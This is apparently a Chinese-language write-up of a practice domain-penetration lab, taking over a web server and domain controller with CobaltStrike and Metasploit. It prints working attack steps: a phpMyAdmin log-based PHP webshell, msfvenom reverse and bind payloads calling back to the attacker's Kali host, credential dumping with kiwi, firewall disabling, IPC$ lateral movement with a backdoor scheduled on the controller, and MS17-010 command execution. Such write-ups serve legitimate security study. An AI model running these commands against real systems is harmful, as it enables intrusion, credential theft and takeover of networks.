一、环境搭建

  • kali:192.168.40.20
  • win7(web):192.168.40.21 192.168.3.9
  • win2003:192.168.3.7
  • win2008(DC):192.168.3.8
  • 除win2003外防火墙均开启

二、CobaltStrike实战

2.1 信息收集

2.1.1 扫描PC1

nmap -Pn -sT -sV -p- 192.168.40.21


开启了80和3306,可以看出是phpstudy搭建的网站

  • 访问试试看

    是php的探针页面,下面还要mysql服务的连接检测
    弱口令试试,得到数据库账号和密码root:root


不支持外部连接

2.1.2 扫描目录


发现phpmyadmin第三方服务,利用刚刚的弱口令进

  • 看看是否有文件写入权限
    show global variables like 'secure_file_priv';

null 表示限制mysqld 不允许导入或导出
/tmp/ 表示限制mysqld 的导入或导出只能发生在/tmp/目录下
没有具体值 表示不对mysqld 的导入或导出做限制

  • 看看日志功能呢
    show global variables like "general_log%";


日志功能关闭且日志路径为C:\phpStudy\MySQL\data\stu1.log

开启日志
set global general_log='on';
修改日志存放位置为探针的网站路径
set global general_log_file="C:\\phpStudy\\WWW\\shell.php"

2.1.3 思考

想想:mysql日志是记录什么的,是不是记录sql语句执行记录的?

那就直接执行webshell即可被记录到日志且后缀为php文件,弱被解析则getshell

2.1.4 getshell

执行写入webshell
select "<?php eval($_POST[1]);?>"

  • 上线哥斯拉

2.2 上线CS

2.2.1 生成监听器

2.2.2 生成木马

2.2.3 上传哥斯拉执行

2.2.4 上线

2.3 主机信息收集

2.3.1 用户信息

1
2
3
whoami        当前用户
net user 当前主机用户
net localgroup administrators 当前管理员组用户

2.3.2 主机信息

1
2
3
4
5
6
7
8
9
10
11
12
操作系统信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
系统架构
echo %PROCESSOR_ARCHITECTURE%
安装的软件信息
wmic product get name,version
powershell收集
shell powershell Get-WmiObject -class win32_product
shell powershell Select-Object -property name,version
进程信息
wmic process list brief

2.3.3 域信息

1
2
3
4
5
net config workstation    查看当前工作环境
net view 当前域内用户
net time /domain 定位域控
ping 域名 即可得到域控ip
或者nslookup 域名 解析得到域控ip

2.3.4 抓取内存密码

得到域管理员账密为god\administrator:hongrisec@2024

2.3.5 防护策略

1
2
3
4
netsh advfirewall show allprofiles   查看防获取状态
关闭防火墙
netsh firewall set opmode disable #winsows server 2003 之前
netsh advfirewall set allprofiles state off #winsows server 2003 之后


2.3.6 网络信息

ipconfig 查看网卡信息,发现双网卡

2.3.7 进程迁移

tasklist 查看进行列表
inject 进程pid号 x64 注入到其他进程当中

2.4 横向移动

2.4.1 探测其他主机

net view 查看其他主机

还有192.168.3.7和192.168.3.8,192.168.3.8为域控

2.4.2 移动(由于不出网)

直接拿当前域控的主机作为跳板,生成新的会话smb,正向

2.4.3 攻击域控


2.4.4 攻击其他主机

(重复上一步操作)

2.4.5 最终拿下全部

三、MSF实战

3.1 信息收集同上(另外的思路)

进入phpmyadmin后台发现有个数据库叫newyxcms

从这里猜测是一个目录站点,我们拼接一下路径试试,发现拼接yxcms时出现


信息泄露,后台拿下,有可以更改源码的功能,插入一句话木马


需要得到这个文件的路径,可以上网找cms的源码,或者扫目录


有目录列表,开始翻吧,在http://192.168.40.21/yxcms/protected/apps/default/view/default/
找到刚刚的所有文件了

3.1.1 getshell

3.2 上线msf

3.2.1 生成反向木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.20 LPORT=6666 -f exe -o /root/1.exe

3.2.2 监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 6666
set lhost 192.168.40.20
run

3.2.3 上传蚁剑执行

3.2.4 上线

3.3 信息收集

3.3.1 用户信息

getuid 获取当前用户

3.3.2 抓取密码

1
2
load kiwi
creds_all


是域管理员权限,但是抓不了密码,提权getsystem


拿到当前用户恰好是域管理员,密码为hongrisec@2024

3.3.3 网卡信息


或者
run get_local_subnets

3.3.4 域信息

migrate PID号

net config workstation

net view
net time /domain

域控是192.168.3.8,还有一个192.168.3.7

3.4 横向移动

3.4.1 添加路由和代理

run post/multi/manage/autoroute 自动添加路由
也可以使用run autoroute -s 网络号/掩码数
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
run
编辑/etc/proxychain.conf文件
sock5 127.0.0.1 1080

3.4.2 扫描一下主机

proxychain nmap -Pn -sT 192.168.3.8
proxychain nmap -Pn -sT 192.168.3.7


开启了139和445端口

3.4.3 永恒之蓝探测

试了很多次,两台主机都拿不到shell,另想办法

3.4.4 IPC管道拿下域控

生成正向后门
msfvenom -p windows/meterpreter/bind_tcp LPORT=7777 -f exe -o /root/2.exe

上传到web服务器根目录
upload /root/2.exe c:\\

web服务器与其他两天建立IPC管道

net use \\192.168.3.8\ipc$ hongrisec@2024 /user:god\administrator
net use \\192.168.3.7\ipc$ hongrisec@2024 /user:god\administrator

上传木马
copy 2.exe \\192.168.3.8\c$
定时执行
at \\192.168.3.8 时间 c:\\2.exe

msf正向监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 7777
set lhost 192.168.3.8
run

同理拿下域内其他主机(你会发现弹一下断了,这是因为那个木马不能在那个32位机器执行),尝试了32木马还是不行,再想办法


既然有永恒之蓝,但是拿不到shell,试试远程命令执行

3.4.5 永恒之蓝远程命令执行

利用use auxiliary/admin/smb/ms17_010_command,远程执行命令

先看一下远程桌面开启没

开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f


已经开启

3.4.6 代理连接(SocksCap64演示)

SocksCap64添加代理为VPS的代理端口

添加应该程序为远程桌面连接

右键在隧道中运行

利用域管账户登录

四、总结

4.1 攻击过程

4.1.1 CS

通过web的信息收集拿到数据库弱口令(无法外部连接),再进行信息收集,找到三方应用phpmyadmin,进入接管数据库,但是没文件操作权限,改思路进行日志写shell,成功取得webshell,上线CS,由于内网主机不出网,无法反向上线到cs,所以将取得的web作为跳板机,正向连接域内主机,从而控制不出网的主机。

4.1.2 MSF

通过web的信息收集拿到数据库弱口令(无法外部连接),再进行信息收集,找到三方应用phpmyadmin,进入接管数据库,看到有一个yxcms数据库,猜测是目录站点,经过拼接路径找到目录站点,并发现泄露的信息,从而进入后台,后台功能处发现有网站源文件操作,插入一句话木马,为了得到文件路径,可以下载cms的源代码查看,这里选择了继续扫描目录,发现会显示文件列表,最终翻到文件路径,从而getsshell,进入内网,系统漏洞打不通,拿不到shell,但是可以远程执行命令,利用已有的域管账密域域控主机建立IPC链接,从而正向上线msf,但是另外的我win2003是32为机器,且木马执行会崩,无奈之下选择远程执行命令开启3389,利用代理远程连接从而接管主机。

4.2 知识点

  1. phpmyadmin日志拿shell
  2. yxcms后台拿shell
  3. CS的使用和域内口令喷射攻击(方便快捷)
  4. MSF的模块利用(代理,木马生成,正反向连接等)
  5. 令牌的窃取(提权)
  6. proxychain代理的使用
  7. 域内明文口令传递和IPC连接的利用
  8. windows代理软件的使用

4.3 思路扩展

在系统漏洞拿不下的时候如何想其他思路来控制不出网的主机

  1. 走代理
  2. 搭建隧道
  3. 利用已有主机的权限作为跳板机去控制其他主机

不同的C2工具打法和学习的东西都不一样,收获还是满满